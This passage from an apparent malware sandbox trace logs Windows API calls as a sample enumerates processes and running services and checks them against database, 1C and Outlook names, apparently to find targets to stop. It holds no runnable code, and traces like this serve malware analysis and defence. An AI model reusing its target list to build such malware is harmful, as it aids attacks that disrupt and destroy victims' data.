dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.359] lstrlenW (lpString="svchost.exe") returned 11 [0277.359] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0277.360] lstrlenW (lpString="winhost.exe") returned 11 [0277.360] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0277.361] lstrlenW (lpString="spoolsv.exe") returned 11 [0277.361] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.363] lstrlenW (lpString="svchost.exe") returned 11 [0277.363] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0277.364] lstrlenW (lpString="taskhost.exe") returned 12 [0277.364] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0277.365] lstrlenW (lpString="reader_sl.exe") returned 13 [0277.365] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0277.366] lstrlenW (lpString="taskhost.exe") returned 12 [0277.366] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x368, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0277.367] lstrlenW (lpString="consent.exe") returned 11 [0277.367] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x74c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0277.368] lstrlenW (lpString="dllhost.exe") returned 11 [0277.368] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x74c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0277.369] CloseHandle (hObject=0x3a0) returned 1 [0277.370] Sleep (dwMilliseconds=0x1f4) [0278.369] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e388 [0278.406] EnumServicesStatusExW (in: hSCManager=0x62e388, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0278.408] GetLastError () returned 0xea [0278.408] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x11e4) returned 0x42e5000 [0278.409] EnumServicesStatusExW (in: hSCManager=0x62e388, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e5000, cbBufSize=0x11e4, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e5000, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0278.410] CloseServiceHandle (hSCObject=0x62e388) returned 1 [0278.411] lstrlenW (lpString="Appinfo") returned 7 [0278.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0278.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0278.412] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0278.412] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0278.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0278.412] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0278.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0278.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0278.412] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0278.412] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0278.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0278.412] lstrlenW (lpString="AudioSrv") returned 8 [0278.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0278.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0278.412] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0278.413] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0278.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0278.413] lstrlenW (lpString="BFE") returned 3 [0278.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0278.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0278.413] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0278.413] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0278.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0278.413] lstrlenW (lpString="CryptSvc") returned 8 [0278.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0278.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0278.413] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0278.413] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0278.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0278.414] lstrlenW (lpString="CscService") returned 10 [0278.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0278.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0278.414] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0278.414] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0278.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0278.414] lstrlenW (lpString="DcomLaunch") returned 10 [0278.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0278.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0278.414] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0278.414] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0278.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0278.414] lstrlenW (lpString="Dhcp") returned 4 [0278.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0278.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0278.415] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0278.415] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0278.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0278.415] lstrlenW (lpString="Dnscache") returned 8 [0278.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0278.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0278.415] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0278.415] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0278.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0278.415] lstrlenW (lpString="DPS") returned 3 [0278.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0278.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0278.416] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0278.416] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0278.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0278.416] lstrlenW (lpString="eventlog") returned 8 [0278.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0278.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0278.416] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0278.416] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0278.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0278.416] lstrlenW (lpString="EventSystem") returned 11 [0278.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0278.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0278.417] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0278.417] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0278.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0278.417] lstrlenW (lpString="gpsvc") returned 5 [0278.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0278.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0278.417] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0278.417] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0278.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0278.417] lstrlenW (lpString="iphlpsvc") returned 8 [0278.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0278.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0278.418] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0278.418] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0278.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0278.418] lstrlenW (lpString="LanmanServer") returned 12 [0278.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0278.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0278.418] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0278.418] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0278.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0278.418] lstrlenW (lpString="LanmanWorkstation") returned 17 [0278.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0278.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0278.418] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0278.418] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0278.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0278.419] lstrlenW (lpString="lmhosts") returned 7 [0278.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0278.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0278.419] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0278.419] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0278.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0278.419] lstrlenW (lpString="MMCSS") returned 5 [0278.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0278.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0278.419] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0278.419] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0278.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0278.420] lstrlenW (lpString="MpsSvc") returned 6 [0278.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0278.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0278.420] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0278.420] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0278.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0278.420] lstrlenW (lpString="Netman") returned 6 [0278.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0278.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0278.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0278.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0278.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0278.420] lstrlenW (lpString="netprofm") returned 8 [0278.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0278.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0278.421] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0278.421] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0278.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0278.422] lstrlenW (lpString="NlaSvc") returned 6 [0278.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0278.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0278.422] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0278.422] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0278.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0278.422] lstrlenW (lpString="nsi") returned 3 [0278.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0278.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0278.422] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0278.422] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0278.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0278.432] lstrlenW (lpString="PcaSvc") returned 6 [0278.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0278.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0278.432] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0278.432] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0278.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0278.432] lstrlenW (lpString="PlugPlay") returned 8 [0278.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0278.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0278.432] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0278.432] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0278.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0278.432] lstrlenW (lpString="Power") returned 5 [0278.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0278.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0278.433] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0278.433] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0278.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0278.433] lstrlenW (lpString="ProfSvc") returned 7 [0278.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0278.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0278.433] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0278.433] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0278.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0278.433] lstrlenW (lpString="RpcEptMapper") returned 12 [0278.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0278.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0278.433] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0278.434] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0278.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0278.434] lstrlenW (lpString="RpcSs") returned 5 [0278.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0278.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0278.434] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0278.434] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0278.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0278.434] lstrlenW (lpString="SamSs") returned 5 [0278.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0278.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0278.434] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0278.434] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0278.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0278.435] lstrlenW (lpString="Schedule") returned 8 [0278.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0278.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0278.435] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0278.435] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0278.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0278.435] lstrlenW (lpString="SENS") returned 4 [0278.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0278.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0278.435] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0278.435] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0278.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0278.435] lstrlenW (lpString="ShellHWDetection") returned 16 [0278.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0278.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0278.436] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0278.436] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0278.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0278.436] lstrlenW (lpString="Spooler") returned 7 [0278.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0278.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0278.436] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0278.436] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0278.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0278.436] lstrlenW (lpString="SysMain") returned 7 [0278.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0278.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0278.437] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0278.437] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0278.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0278.437] lstrlenW (lpString="Themes") returned 6 [0278.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0278.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0278.437] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0278.437] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0278.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0278.437] lstrlenW (lpString="TrkWks") returned 6 [0278.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0278.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0278.437] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0278.438] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0278.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0278.438] lstrlenW (lpString="UxSms") returned 5 [0278.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0278.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0278.438] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0278.438] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0278.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0278.439] lstrlenW (lpString="WdiServiceHost") returned 14 [0278.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0278.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0278.439] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0278.439] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0278.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0278.439] lstrlenW (lpString="WdiSystemHost") returned 13 [0278.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0278.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0278.440] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0278.440] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0278.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0278.440] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0278.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0278.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0278.440] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0278.440] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0278.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0278.440] lstrlenW (lpString="Winmgmt") returned 7 [0278.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0278.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0278.441] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0278.441] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0278.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0278.441] lstrlenW (lpString="WPDBusEnum") returned 10 [0278.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0278.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0278.441] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0278.441] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0278.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0278.441] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e5000 | out: hHeap=0x590000) returned 1 [0278.441] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2ec [0278.765] Process32FirstW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.767] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0278.768] lstrlenW (lpString="System") returned 6 [0278.768] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0278.768] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0278.768] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0278.768] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0278.768] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0278.768] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0278.768] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0278.768] Process32NextW (in: hSnapshot=0x2ec, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 